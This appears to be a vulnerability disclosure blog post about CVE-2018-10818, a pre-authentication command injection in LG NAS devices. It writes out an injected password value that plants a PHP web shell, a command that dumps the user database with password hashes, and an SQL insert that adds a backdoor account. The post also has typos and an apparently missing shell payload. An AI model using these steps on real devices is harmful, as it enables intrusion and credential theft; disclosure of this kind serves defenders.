Critical Vulnerability Found in Majority of LG NAS Devices

Overview

We carried out an exhaustive evaluation on an LG NAS device. This gadget is a storage unit linked to a network, exclusively accessible to authorized users. It functions similarly to a private cloud but is more cost-effective, easy to manage, and provides total control. Nonetheless, we managed to uncover a technique to breach the system using a pre-authenticated remote command injection vulnerability (CVE-2018-10818). This exploit potentially grants us the ability to perform an array of actions, such as accessing and manipulating user data and content.

Exploitation

The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices.

You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the "password" parameter (you have to use an interceptor like burp). We can simply trigger this bug by adding to it. To add a new user, we can simply write a persistent shell called c.php by using:
;echo “” > /tmp/x2;sudo mv /tmp/x2 /var/www/c.php
Entering it as a password exploits the vulnerability.

Then, by passing the following command, we can “dump” the users:
echo “.dump user” | sqlite3 /etc/nas/db/share.db
Dumping means reading all database data. We dump the database so we can see the users’ usernames and passwords. This also lets us add our own.

To add a new user into the database, we need to generate a valid MD5. We can use the included MD5 tool to create a hash with the username “test” and the password “1234.”
sudo nas-common md5 1234
Once we have a valid password and username, we can add it to the database with the following:
INSERT INTO “user” VALUES(‘test’,’md5_hash’,’Vuln Test’,’test@localhost’,’’);
After this is complete, we can log in to the LG Network Storage with the username test and the password 1234.

This gives us access to the system as an authorized user. From here we can access any data or classified files that are stored on the LAS device.

Recommendations

• Be aware that LAS devices can be hacked and exploited.
• Contact LG and let them know about this vulnerability and demand they fix it.
• Warn your friends on facebook (here's a link), or twitter (click to tweet)